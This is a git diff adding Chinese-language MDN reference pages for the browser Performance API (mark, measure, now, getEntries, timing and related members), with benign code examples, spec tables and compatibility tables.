+  // Use getEntries() to iterate through the each entry
+  var p = performance.getEntries();
+  for (var i=0; i < p.length; i++) {
+    log("Entry[" + i + "]");
+    checkPerformanceEntry(p[i]);
+  }
+
+  // Use getEntries(name, entryType) to get specific entries
+  p = performance.getEntries({name : "Begin", entryType: "mark"});
+  for (var i=0; i < p.length; i++) {
+    log("Begin[" + i + "]");
+    checkPerformanceEntry(p[i]);
+  }
+
+  // Use getEntriesByType() to get all "mark" entries
+  p = performance.getEntriesByType("mark");
+  for (var i=0; i < p.length; i++) {
+    log ("Mark only entry[" + i + "]: name = " + p[i].name +
+         "; startTime = " + p[i].startTime +
+         "; duration  = " + p[i].duration);
+  }
+
+  // Use getEntriesByName() to get all "mark" entries named "Begin"
+  p = performance.getEntriesByName("Begin", "mark");
+  for (var i=0; i < p.length; i++) {
+    log ("Mark and Begin entry[" + i + "]: name = " + p[i].name +
+         "; startTime = " + p[i].startTime +
+         "; duration  = " + p[i].duration);
+  }
+}
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Performance Timeline Level 2', '#dom-performance-getentriesbytype', 'getEntriesByType()')}}{{Spec2('Performance Timeline Level 2')}}
{{SpecName('Performance Timeline', '#dom-performance-getentriesbytype', 'getEntriesByType()')}}{{Spec2('Performance Timeline')}}Initial definition.
+ +

Browser compatibility

+ +
+ + +

{{Compat("api.Performance.getEntriesByType")}}

+
diff --git a/files/zh-cn/web/api/performance/index.html b/files/zh-cn/web/api/performance/index.html new file mode 100644 index 0000000000..a88936f95b --- /dev/null +++ b/files/zh-cn/web/api/performance/index.html @@ -0,0 +1,133 @@ +--- +title: Performance +slug: Web/API/Performance +tags: + - API + - Interface + - Performance + - Web Performance +translation_of: Web/API/Performance +--- +
{{APIRef("High Resolution Time")}}
+ +

Performance 接口可以获取到当前页面中与性能相关的信息。它是 High Resolution Time API 的一部分,同时也融合了 Performance Timeline API、Navigation Timing API、 User Timing API 和 Resource Timing API

+ +

该类型的对象可以通过调用只读属性 {{domxref("Window.performance")}} 来获得。

+ +
+

注意:除了以下指出的情况外,该接口及其成员在 {{domxref("Web Worker")}} 中可用。此外,还需注意,performance 的创建和衡量都是同一环境下的。即,如果你在主线程(或者其他 worker)中创建了一个 performance,那么它在另外的 worker 线程中是不可用的;反之亦然。

+
+ +

属性

+ +

Performance 接口没有继承任何属性。

+ +
+
{{deprecated_inline}}{{domxref("Performance.navigation")}} {{readonlyInline}}
+
{{domxref("PerformanceNavigation")}} 对象提供了在指定的时间段里发生的操作相关信息,包括页面是加载还是刷新、发生了多少次重定向等等。Not available in workers.
+
{{deprecated_inline}}{{domxref("Performance.timing")}} {{readonlyInline}}
+
{{domxref("PerformanceTiming")}} 对象包含延迟相关的性能信息。Not available in workers.
+
{{domxref("Performance.memory", "performance.memory")}} {{Non-standard_inline}}
+
其是 Chrome 添加的一个非标准扩展,这个属性提供了一个可以获取到基本内存使用情况的对象。不应该使用这个非标准的 API。
+
{{domxref("Performance.timeOrigin")}} {{readonlyInline}} {{Non-standard_inline}}
+
返回性能测量开始时的时间的高精度时间戳。
+
+

事件处理程序

+
+
{{domxref("Performance.onresourcetimingbufferfull")}}
+
一个回调的 {{domxref("EventTarget")}},当触发 {{event("resourcetimingbufferfull")}} 事件的时候会被调用。
+
+ +

方法

+ +

Performance 接口没有继承任何方法。

+ +
+
{{domxref("Performance.clearMarks()")}}
+
将给定的 mark 从浏览器的性能输入缓冲区中移除。
+
{{domxref("Performance.clearMeasures()")}}
+
将给定的 measure 从浏览器的性能输入缓冲区中移除。
+
{{domxref("Performance.clearResourceTimings()")}}
+
从浏览器的性能数据缓冲区中移除所有 {{domxref("PerformanceEntry.entryType","entryType")}} 是 "resource" 的  {{domxref("PerformanceEntry","performance entries")}}。
+
{{domxref("Performance.getEntries()")}}
+
基于给定的 filter 返回一个 {{domxref("PerformanceEntry")}} 对象的列表。
+
{{domxref("Performance.getEntriesByName()")}}
+
基于给定的 name 和 entry type 返回一个 {{domxref("PerformanceEntry")}} 对象的列表。
+
{{domxref("Performance.getEntriesByType()")}}
+
基于给定的 entry type 返回一个 {{domxref("PerformanceEntry")}} 对象的列表
+
{{domxref("Performance.mark()")}}
+
根据给出 name 值,在浏览器的性能输入缓冲区中创建一个相关的{{domxref("DOMHighResTimeStamp","timestamp")}}
+
{{domxref("Performance.measure()")}}
+
在浏览器的指定 start mark 和 end mark 间的性能输入缓冲区中创建一个指定的 {{domxref("DOMHighResTimeStamp","timestamp")}}
+
{{domxref("Performance.now()")}}
+
返回一个表示从性能测量时刻开始经过的毫秒数 {{domxref("DOMHighResTimeStamp")}}
+
{{domxref("Performance.setResourceTimingBufferSize()")}}
+
将浏览器的资源 timing 缓冲区的大小设置为 "resource" {{domxref("PerformanceEntry.entryType","type")}} {{domxref("PerformanceEntry","performance entry")}} 对象的指定数量
+
{{domxref("Performance.toJSON()")}}
+
其是一个 JSON 格式转化器,返回 Performance 对象的 JSON 对象
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Highres Time Level 3', '#dom-performance-timeorigin','timeOrigin')}}{{Spec2('Highres Time Level 3')}}Defines timeOrigin property.
{{SpecName('Highres Time Level 2', '#the-performance-interface', 'toJSON()')}}{{Spec2('Highres Time Level 2')}}Defines toJson() method.
{{SpecName('Highres Time', '#the-performance-interface', 'Performance')}}{{Spec2('Highres Time')}}Defines now() method.
{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance')}}{{Spec2('Navigation Timing')}}Defines timing and navigation properties.
{{SpecName('Performance Timeline Level 2', '#extensions-to-the-performance-interface', 'Performance extensions')}}{{Spec2('Performance Timeline Level 2')}}Changes getEntries() interface.
{{SpecName('Performance Timeline', '#sec-window.performance-attribute', 'Performance extensions')}}{{Spec2('Performance Timeline')}}Defines getEntries(), getEntriesByType() and getEntriesByName() methods.
{{SpecName('Resource Timing', '#extensions-performance-interface', 'Performance extensions')}}{{Spec2('Resource Timing')}}Defines clearResourceTimings() and setResourceTimingBufferSize() methods and the onresourcetimingbufferfull property.
{{SpecName('User Timing Level 2', '#extensions-performance-interface', 'Performance extensions')}}{{Spec2('User Timing Level 2')}}Clarifies mark(), clearMark(), measure() and clearMeasure() methods.
{{SpecName('User Timing', '#extensions-performance-interface', 'Performance extensions')}}{{Spec2('User Timing')}}Defines mark(), clearMark(), measure() and clearMeasure() methods.
+ +

浏览器兼容性

+ + + +

{{Compat("api.Performance")}}

diff --git a/files/zh-cn/web/api/performance/mark/index.html b/files/zh-cn/web/api/performance/mark/index.html new file mode 100644 index 0000000000..2ad91c1edb --- /dev/null +++ b/files/zh-cn/web/api/performance/mark/index.html @@ -0,0 +1,154 @@ +--- +title: Performance.mark() +slug: Web/API/Performance/mark +tags: + - 性能 + - 性能追踪 +translation_of: Web/API/Performance/mark +--- +

{{APIRef("User Timing API")}}

+ +

mark() 方法在浏览器的性能缓冲区中使用给定名称添加一个{{domxref("DOMHighResTimeStamp","timestamp(时间戳)")}}

+ +

应用定义的时间戳可以通过 {{domxref("Performance")}} 接口的一个 getEntries*() 方法({{domxref("Performance.getEntries","getEntries()")}}, {{domxref("Performance.getEntriesByName","getEntriesByName()")}} 或者 {{domxref("Performance.getEntriesByType","getEntriesByType()")}})检索到。

+ +

标记 的 {{domxref("PerformanceEntry","performance entry")}}将具有以下属性值:

+ + + +

如果这个方法被指定的 name 已经存在于{{domxref("PerformanceTiming")}} 接口, 会抛出一个{{jsxref("SyntaxError")}}错误。

+ +

语法

+ +
performance.mark(name);
+
+ +

参数

+ +
+
name
+
一个表示标记名称的{{domxref("DOMString")}}。
+
+ +

返回值

+ +
+
 无
+
 
+
+ +

实例

+ +

下面的示例演示如何使用 mark() 来创建和检索{{domxref("PerformanceMark")}}条目。

+ +

 

+ +
// 创建一些标记。
+performance.mark("squirrel");
+performance.mark("squirrel");
+performance.mark("monkey");
+performance.mark("monkey");
+performance.mark("dog");
+performance.mark("dog");
+
+// 获取所有的 PerformanceMark 条目。
+const allEntries = performance.getEntriesByType("mark");
+console.log(allEntries.length);
+// 6
+
+// 获取所有的 "monkey" PerformanceMark 条目。
+const monkeyEntries = performance.getEntriesByName("monkey");
+console.log(monkeyEntries.length);
+// 2
+
+// 删除所有标记。
+performance.clearMarks();
+ +

 

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('User Timing Level 2', '#dom-performance-mark', 'mark()')}}{{Spec2('User Timing Level 2')}}阐明 mark() 处理模型。
{{SpecName('User Timing', '#dom-performance-mark', 'mark()')}}{{Spec2('User Timing')}}基础定义。
+ +

浏览器兼容

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic Support{{CompatChrome(43.0)}}{{CompatVersionUnknown}}411033{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari MobileChrome for Android
Basic Support{{CompatNo}}{{CompatChrome(46.0)}}{{CompatVersionUnknown}}42421033{{CompatNo}}{{CompatChrome(46.0)}}
+
diff --git a/files/zh-cn/web/api/performance/measure/index.html b/files/zh-cn/web/api/performance/measure/index.html new file mode 100644 index 0000000000..a8b466a9a8 --- /dev/null +++ b/files/zh-cn/web/api/performance/measure/index.html @@ -0,0 +1,108 @@ +--- +title: Performance.measure() +slug: Web/API/Performance/measure +tags: + - Performance API + - 网页性能 +translation_of: Web/API/Performance/measure +--- +
{{APIRef("User Timing API")}}
+ +

 measure() 方法在浏览器性能记录缓存中创建了一个名为{{domxref("DOMHighResTimeStamp","时间戳")}}的记录来记录两个特殊标志位(通常称为开始标志和结束标志)。 被命名的{{domxref("DOMHighResTimeStamp","时间戳")}}称为一次测量(measure)。

+ +

{{AvailableInWorkers}}

+ +

The measure 可以被{{domxref("Performance")}} 接口 getEntries*() 中的方法检查到({{domxref("Performance.getEntries","getEntries()")}}, {{domxref("Performance.getEntriesByName","getEntriesByName()")}} 或者 {{domxref("Performance.getEntriesByType","getEntriesByType()")}}).

+ +

The measure's {{domxref("PerformanceEntry","performance entry")}} will have the following property values:

+ + + +

语法

+ +
performance.measure(name, startMark, endMark);
+
+ +

参数

+ +
+
name
+
一个 {{domxref("DOMString")}}, 代表测量的名字。
+
startMark {{optional_inline}}
+
一个 {{domxref("DOMString")}}, 代表测量的开始标志名字。 May also be the name of a {{domxref("PerformanceTiming")}} property.
+
endMark {{optional_inline}}
+
一个{{domxref("DOMString")}}, 代表测量的结束标志名字。May also be the name of a {{domxref("PerformanceTiming")}} property.
+
+ +

返回值

+ +
+
void
+
 
+
+ +

例子

+ +

以下例子展示如何在浏览器性能记录缓存中使用 measure()创建一个新的测量记录{{domxref("PerformanceEntry","performance entry")}} 。

+ +
// 以一个标志开始。
+performance.mark("mySetTimeout-start");
+
+// 等待一些时间。
+setTimeout(function() {
+  // 标志时间的结束。
+  performance.mark("mySetTimeout-end");
+
+  // 测量两个不同的标志。
+  performance.measure(
+    "mySetTimeout",
+    "mySetTimeout-start",
+    "mySetTimeout-end"
+  );
+
+  // 获取所有的测量输出。
+  // 在这个例子中只有一个。
+  var measures = performance.getEntriesByName("mySetTimeout");
+  var measure = measures[0];
+  console.log("setTimeout milliseconds:", measure.duration)
+
+  // 清除存储的标志位
+  performance.clearMarks();
+  performance.clearMeasures();
+}, 1000);
+
+ +

详细说明

+ + + + + + + + + + + + + + + + + + + +
详细说明状态评论
{{SpecName('User Timing Level 2', '#dom-performance-measure', 'measure()')}}{{Spec2('User Timing Level 2')}}Clarifies measure() processing model.
{{SpecName('User Timing', '#dom-performance-measure', 'measure()')}}{{Spec2('User Timing')}}Basic definition.
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Performance.measure")}}

+
diff --git a/files/zh-cn/web/api/performance/navigation/index.html b/files/zh-cn/web/api/performance/navigation/index.html new file mode 100644 index 0000000000..c40354d771 --- /dev/null +++ b/files/zh-cn/web/api/performance/navigation/index.html @@ -0,0 +1,51 @@ +--- +title: Performance.navigation +slug: Web/API/Performance/navigation +tags: + - API + - Navigation Timing + - Performance +translation_of: Web/API/Performance/navigation +--- +

{{APIRef("Navigation Timing")}}

+ +

概要

+ +

只读属性 Performance.navigation 会返回一个 {{domxref("PerformanceNavigation")}} 对象。这个对象表示出现在当前浏览上下文的 navigation 类型,比如获取某个资源所需要的重定向次数。

+ +

语法

+ +
navObject = performance.navigation;
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance.navigation')}}{{Spec2('Navigation Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
+
+ + +

{{Compat("api.Performance.navigation")}}

+
+
+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/performance/now/index.html b/files/zh-cn/web/api/performance/now/index.html new file mode 100644 index 0000000000..61b07fab1d --- /dev/null +++ b/files/zh-cn/web/api/performance/now/index.html @@ -0,0 +1,107 @@ +--- +title: Performance.now() +slug: Web/API/Performance/now +tags: + - API + - Performance + - Web Performance API +translation_of: Web/API/Performance/now +--- +

{{APIRef("High Resolution Timing")}}

+ +

performance.now()方法返回一个精确到毫秒的  {{domxref("DOMHighResTimeStamp")}} 。

+ +
+

这个时间戳实际上并不是高精度的。为了降低像Spectre这样的安全威胁,各类浏览器对该类型的值做了不同程度上的四舍五入处理。(Firefox从Firefox 59开始四舍五入到2毫秒精度)一些浏览器还可能对这个值作稍微的随机化处理。这个值的精度在未来的版本中可能会再次改善;浏览器开发者还在调查这些时间测定攻击和如何更好的缓解这些攻击。

+
+ +

{{AvailableInWorkers}}

+ +

返回值表示为从time origin之后到当前调用时经过的时间

+ +

牢记如下几点:

+ + + +

语法

+ +
const t = window.performance.now();
+
+ +

示例

+ +
const t0 = window.performance.now();
+doSomething();
+const t1 = window.performance.now();
+console.log("doSomething函数执行了" + (t1 - t0) + "毫秒.")
+
+ +

和JavaScript中其他可用的时间类函数(比如Date.now)不同的是,window.performance.now()返回的时间戳没有被限制在一毫秒的精确度内,相反,它们以浮点数的形式表示时间,精度最高可达微秒级。

+ +

另外一个不同点是,window.performance.now()是以一个恒定的速率慢慢增加的,它不会受到系统时间的影响(系统时钟可能会被手动调整或被NTP等软件篡改)。另外,performance.timing.navigationStart + performance.now() 约等于 Date.now()

+ +

时间精度降低

+ +

为了提供对定时攻击和指纹的保护,performance.now()的精度可能会根据浏览器的设置而被舍弃。
+ 在Firefox中,privacy.reduceTimerPrecision偏好是默认启用的,默认值为1ms。

+ +
// 降低时间精度 (1ms) 在 Firefox 60
+performance.now();
+// 8781416
+// 8781815
+// 8782206
+// ...
+
+
+// 降低时间经度 当 `privacy.resistFingerprinting` 启用
+performance.now();
+// 8865400
+// 8866200
+// 8866700
+// ...
+ +

在Firefox中,您还可以启用 privacy.resistFingerprinting 这将精度改为100ms或privacy.resistFingerprinting.reduceTimerPrecision.microseconds 的值,以较大者为准。

+ +

从Firefox 79开始,如果您使用{{HTTPHeader("Cross-Origin-Opener-Policy")}}和{{HTTPHeader("Cross-Origin-Embedder-Policy")}}头来跨源隔离您的文档,就可以使用高分辨率定时器。

+ +
Cross-Origin-Opener-Policy: same-origin
+Cross-Origin-Embedder-Policy: require-corp
+ +

这些头确保顶层文档不会与跨源文档共享浏览上下文组。COOP过程--隔离你的文档,潜在的攻击者如果在弹出窗口中打开你的全局对象,就无法访问它,从而防止一组被称为 XS-Leaks 的跨源攻击。

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Highres Time Level 2', '#dom-performance-now', 'performance.now()')}}{{Spec2('Highres Time Level 2')}}Stricter definitions of interfaces and types.
{{SpecName('Highres Time', '#dom-performance-now', 'performance.now()')}}{{Spec2('Highres Time')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.Performance.now")}}

+ +

相关链接

+ + diff --git a/files/zh-cn/web/api/performance/onresourcetimingbufferfull/index.html b/files/zh-cn/web/api/performance/onresourcetimingbufferfull/index.html new file mode 100644 index 0000000000..e6bcbb1ec1 --- /dev/null +++ b/files/zh-cn/web/api/performance/onresourcetimingbufferfull/index.html @@ -0,0 +1,126 @@ +--- +title: Performance.onresourcetimingbufferfull +slug: Web/API/Performance/onresourcetimingbufferfull +translation_of: Web/API/Performance/onresourcetimingbufferfull +--- +
{{APIRef("Resource Timing API")}}
+ +

onresourcetimingbufferfull 属性是一个在{{event("resourcetimingbufferfull")}}事件触发时会被调用的 {{domxref("EventHandler","event handler")}} 。这个事件当浏览器的资源时间性能缓冲区已满时会触发。

+ +

语法

+ +
callback = performance.onresourcetimingbufferfull = buffer_full_cb;
+
+ +

返回值

+ +
+
callback
+
一个当{{event("resourcetimingbufferfull")}} 事件触发时调用的{{domxref("EventHandler")}} 。
+
+ +

例子

+ +

下面的示例在onresourcetimingbufferfull属性上设置一个回调函数。

+ +
function buffer_full(event) {
+  console.log("WARNING: Resource Timing Buffer is FULL!");
+  performance.setResourceTimingBufferSize(200);
+}
+function init() {
+  // Set a callback if the resource buffer becomes filled
+  performance.onresourcetimingbufferfull = buffer_full;
+}
+<body onload="init()">
+
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Resource Timing', '#dom-performance-onresourcetimingbufferfull', 'onresourcetimingbufferfull')}}{{Spec2('Resource Timing')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support.{{CompatVersionUnknown}} +

{{property_prefix("-webkit")}}
+ {{CompatChrome(46)}} (unprefixed)
+ {{CompatChrome(57)}} (prefixed version removed)

+
{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support.{{CompatVersionUnknown}} +

{{property_prefix("-webkit")}}
+ {{CompatChrome(46)}} (unprefixed)
+ {{CompatChrome(57)}} (prefixed version removed)

+
{{CompatVersionUnknown}} +

{{property_prefix("-webkit")}}
+ {{CompatChrome(46)}} (unprefixed)
+ {{CompatChrome(57)}} (prefixed version removed)

+
{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatNo}}{{CompatVersionUnknown}}{{CompatNo}}
+
+ +

参见

+ + diff --git a/files/zh-cn/web/api/performance/timeorigin/index.html b/files/zh-cn/web/api/performance/timeorigin/index.html new file mode 100644 index 0000000000..d7d38f6781 --- /dev/null +++ b/files/zh-cn/web/api/performance/timeorigin/index.html @@ -0,0 +1,85 @@ +--- +title: Performance.timeOrigin +slug: Web/API/Performance/timeOrigin +translation_of: Web/API/Performance/timeOrigin +--- +

{{SeeCompatTable}}{{APIRef("High Resolution Time")}}

+ +

接口 {{domxref("Performance")}} 的只读属性  timeOrigin 返回一个表示 the performance measurement 开始时间的高精度 timestamp

+ +

语法

+ +
var timeOrigin = performance.timeOrigin
+ +

+ +

高精度 timestamp,例如 1518354643295.86

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Highres Time Level 3','#dom-performance-timeorigin','timeOrigin')}}{{Spec2('Highres Time Level 3')}}Initial definition.
+ +

Browser Compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(62)}}{{CompatGeckoDesktop(59)}}{{CompatUnknown}}{{CompatOpera(49)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroid WebviewChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatChrome(62)}}{{CompatChrome(62)}}{{CompatGeckoMobile(59)}}{{CompatUnknown}}{{CompatOperaMobile(49)}}{{CompatUnknown}}只读属性  timeOrigin timestampperformance.timeOrigin
+
diff --git a/files/zh-cn/web/api/performance/timing/index.html b/files/zh-cn/web/api/performance/timing/index.html new file mode 100644 index 0000000000..f9e888d388 --- /dev/null +++ b/files/zh-cn/web/api/performance/timing/index.html @@ -0,0 +1,47 @@ +--- +title: Performance.timing +slug: Web/API/Performance/timing +tags: + - Navigation Timing + - Navigation Timing API + - Performance +translation_of: Web/API/Performance/timing +--- +

{{APIRef("Navigation Timing")}}{{deprecated_header}}

+ +
+

该属性在 Navigation Timing Level 2 specification 中已经被废弃,请使用 {{domxref("Performance.timeOrigin")}} 替代。

+
+ +

Performance.timing 只读属性返回一个 {{domxref("PerformanceTiming")}} 对象,这个对象包括了页面相关的性能信息。

+ +

语法

+ +
timingInfo = performance.timing;
+ +

规范

+ + + + + + + + + + + + + + +
规范名状态描述
{{SpecName('Navigation Timing', '#sec-window.performance-attribute', 'Performance.timing')}}{{Spec2('Navigation Timing')}}Initial definition
+ +

浏览器兼容性

+ +

{{Compat("api.Performance.timing")}}

+ +

相关

+ + diff --git a/files/zh-cn/web/api/performance/tojson/index.html b/files/zh-cn/web/api/performance/tojson/index.html new file mode 100644 index 0000000000..df229b33cb --- /dev/null +++ b/files/zh-cn/web/api/performance/tojson/index.html @@ -0,0 +1,61 @@ +--- +title: Performance.toJSON() +slug: Web/API/Performance/toJSON +translation_of: Web/API/Performance/toJSON +--- +
{{APIRef("High Resolution Timing")}}
+ +
{{domxref("Performance")}} 的 toJSON() 方法是一个标准的串行器:它返回一个由 performance 对象各个属性组成的 JSON
+ +

Syntax

+ +
myPerf = performance.toJSON()
+
+ +

Arguments

+ +
+
None
+
 
+
+ +

Return value

+ +
+
myPerf
+
{{domxref("Performance")}} 对象序列化之后转化成的 JSON 对象。
+
+ +

Example

+ +
var js;
+js = window.performance.toJSON();
+console.log("json = " + JSON.stringify(js));
+
+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('Highres Time Level 2', '#the-performance-interface', 'toJSON() serializer')}}{{Spec2('Highres Time Level 2')}}Defines toJson().
+ +

Browser compatibility

+ +
+
+ + +

{{Compat("api.Performance.toJSON")}}

+
+
diff --git "a/files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" "b/files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" new file mode 100644 index 0000000000..e9f5047d4e --- /dev/null +++ "b/files/zh-cn/web/api/performance/\345\206\205\345\255\230/index.html" @@ -0,0 +1,42 @@ +--- +title: Performance.memory +slug: Web/API/Performance/内存 +translation_of: Web/API/Performance/memory +--- +

{{APIRef}}

+ +

语法

+ +
timingInfo = performance.memory
+ +

属性

+ +
+
jsHeapSizeLimit
+
上下文内可用堆的最大体积,以字节计算。
+
totalJSHeapSize
+
 已分配的堆体积,以字节计算。
+
+ +
+
usedJSHeapSize
+
当前 JS 堆活跃段(segment)的体积,以字节计算。
+
+ +

规范

+ +

无。

+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.Performance.memory")}}

+
+ +

查看更多

+ + diff --git a/files/zh-cn/web/api/performance_api/index.html b/files/zh-cn/web/api/performance_api/index.html new file mode 100644 index 0000000000..975c55e271 --- /dev/null +++ b/files/zh-cn/web/api/performance_api/index.html @@ -0,0 +1,147 @@ +--- +title: Performance API +slug: Web/API/Performance_API +tags: + - web性能 + - 性能 +translation_of: Web/API/Performance_API +--- +
{{DefaultAPISidebar("High Resolution Time")}}
+ +

高时间采样率标准定义了{{domxref("Performance")}}接口,该接口支持应用程序中客户端的延时测量。{{domxref("Performance")}}接口被认为是高采样率的,因为其精确度可达千分之一毫秒(受硬件或软件限制)。这些接口支持许多使用情形,包括计算帧速率(在动画中可能很重要)和基准测试(例如加载资源的时间)。

+ +

由于平台的系统时钟会受到各种时滞(例如NTP调整)的影响,该接口支持单调时钟,即一直增加的时钟。 鉴于这个原因,Performance API定义了{{domxref("DOMHighResTimeStamp")}}类型,而不是使用{{jsxref("Date.now","Date.now()")}}接口。

+ +

DOMHighResTimeStamp

+ +

{{domxref("DOMHighResTimeStamp")}}类型,顾名思义,表示高采样率的时间戳。 此类型是 double ,由性能接口使用。 该值可以是离散时间戳,也可以是两个离散时间戳之间的时间间隔。

+ +

DOMHighResTimeStamp 的单位是毫秒,应精确到5 µs(微秒)。 但是,如果浏览器无法提供精确到5微秒的时间数值(例如由于硬件或软件限制),则浏览器可以将该值表示为精确到毫秒的时间(以毫秒为单位)。

+ +

方法

+ +

{{domxref("Performance")}} 接口具有两个方法。

+ +

{{domxref("Performance.now","now()")}} 方法返回一个{{domxref("DOMHighResTimeStamp")}},其值取决于{{domxref("PerformanceTiming.navigationStart","navigation start")}}和作用域。如果作用域是window,则值是创建浏览器上下文的时间;如果作用域是{{domxref("Worker","worker")}},则值是创建worker的时间。

+ +

{{domxref("Performance.toJSON","toJSON()")}}方法返回{{domxref("Performance")}}对象的序列化结果,包含可以被序列化的属性。

+ +

属性

+ +

{{domxref("Performance")}}接口具有两个属性。

+ +

{{domxref("Performance.timing","timing")}}属性返回一个{{domxref("PerformanceTiming")}}对象,其中包含与延时相关的性能信息,例如导航开始的时间,重定向的开始时间和结束时间,响应的开始时间和结束时间等。

+ +

{{domxref("Performance.navigation","navigation")}} 属性返回一个{{domxref("PerformanceNavigation")}}对象,该对象表示在给定浏览上下文中发生的导航类型,例如从历史记录导航到的页面,通过跟随链接导航到的页面等。

+ +

接口

+ +
+
{{domxref('Performance')}}
+
提供方法和属性,包含给定页面与计时相关的性能信息。
+
{{domxref('PerformanceEntry')}}
+
提供方法和属性,将单个性能指标封装为性能时间轴的一部分。
+
{{domxref('PerformanceFrameTiming')}}
+
提供方法和属性,包含有关浏览器事件循环的帧计时数据。
+
{{domxref('PerformanceMark')}}
+
条目类型为"mark"的{{domxref('PerformanceEntry')}}抽象接口,该类型的条目通过调用{{domxref("Performance.mark","mark()")}}将命名的{{domxref("DOMHighResTimeStamp")}}(mark)添加到浏览器的性能时间轴来创建。
+
{{domxref('PerformanceMeasure')}}
+
条目类型为"measure"的{{domxref('PerformanceEntry')}}抽象接口,该类型的条目通过调用{{domxref("Performance.measure","measure()")}}在浏览器的性能时间轴的两个标记之间添加一个命名的{{domxref("DOMHighResTimeStamp")}}(measure)来创建。
+
{{domxref('PerformanceNavigationTiming')}}
+
提供方法和属性,用于存储和检索有关浏览器文档导航事件的高采样率时间戳或其他指标。
+
{{domxref('PerformanceObserver')}}
+
提供方法和属性,用于观察性能测量事件,并在浏览器的性能时间轴中记录新的{{domxref('PerformanceEntry')}}时进行通知。
+
{{domxref('PerformanceResourceTiming')}}
+
提供方法和属性,用于检索和分析有关应用程序资源加载的详细网络计时数据。
+
+ +

技术指标

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
技术指标状态备注
{{SpecName('Highres Time')}}{{Spec2('Highres Time')}}Initial definition.
{{SpecName('Highres Time Level 2')}}{{Spec2('Highres Time Level 2')}}Adds performance attribute on Window and WorkerGlobalScope.
{{SpecName('Highres Time Level 3')}}{{Spec2('Highres Time Level 3')}}Add timeOrigin property to Performance interface.
{{SpecName('Frame Timing')}}{{Spec2('Frame Timing')}}Adds PerformanceFrameTiming interface.
{{SpecName('Navigation Timing')}}{{Spec2('Navigation Timing')}}Adds the PerformanceTiming and PerformanceNavigation interfaces. Adds timing and navigation properties to the Performance interface.
{{SpecName('Navigation Timing Level 2')}}{{Spec2('Navigation Timing Level 2')}}Adds the PerformanceNavigationTiming interface. Obsolete's the the PerformanceTiming interface, the PerformanceNavigation interface, as well as the timing and navigation properties to the Performance interface.
{{SpecName('Performance Timeline')}}{{Spec2('Performance Timeline')}}Adds the PerformanceEntry interface, the PerformanceEntryList type, as well as the getEntries(), getEntriesByType(), and getEntriesByName() methods on the Performance interface.
{{SpecName('Performance Timeline Level 2')}}{{Spec2('Performance Timeline Level 2')}}Adds serializer to the PerformanceEntry interface as well as adding the PerformanceObserver interface and callback
{{SpecName('Resource Timing')}}{{Spec2('Resource Timing')}}Adds the PerformanceResourceTiming interface. Adds the clearResourceTimings() method, the setResourceTimingBufferSize() method, and the onresourcetimingbufferfull event handler to the Performance interface. Also adds the Timing-Allow-Origin response header.
{{SpecName('Resource Timing 2')}}{{Spec2('Resource Timing 2')}}Adds the nextHopProtocol, workerStart, transferSize, encodedBodySize, and decodedBodySize properties to the PerformanceResourceTiming interface.
{{SpecName('Resource Timing 3')}}{{Spec2('Resource Timing 3')}}
{{SpecName('User Timing')}}{{Spec2('User Timing')}}Adds mark(), clearMarks(), measure() and clearMeasures() methods to the Performance interface. Adds the PerformanceMark and PeformanceMeasure interfaces.
{{SpecName('User Timing Level 2')}}{{Spec2('User Timing Level 2')}}
+ +

实施状态

+ +

As shown in the {{domxref("Performance")}} interface's Browser Compatibility table, most of these interfaces are broadly implemented by desktop browsers.

+ +

如{{domxref("Performance")}}接口的“浏览器兼容性”表所示,大部分接口由桌面浏览器广泛实现。

+ +

要测试你的浏览器对{{domxref("Performance")}}接口的支持,请运行 perf-api-support 应用。

+ +

另见

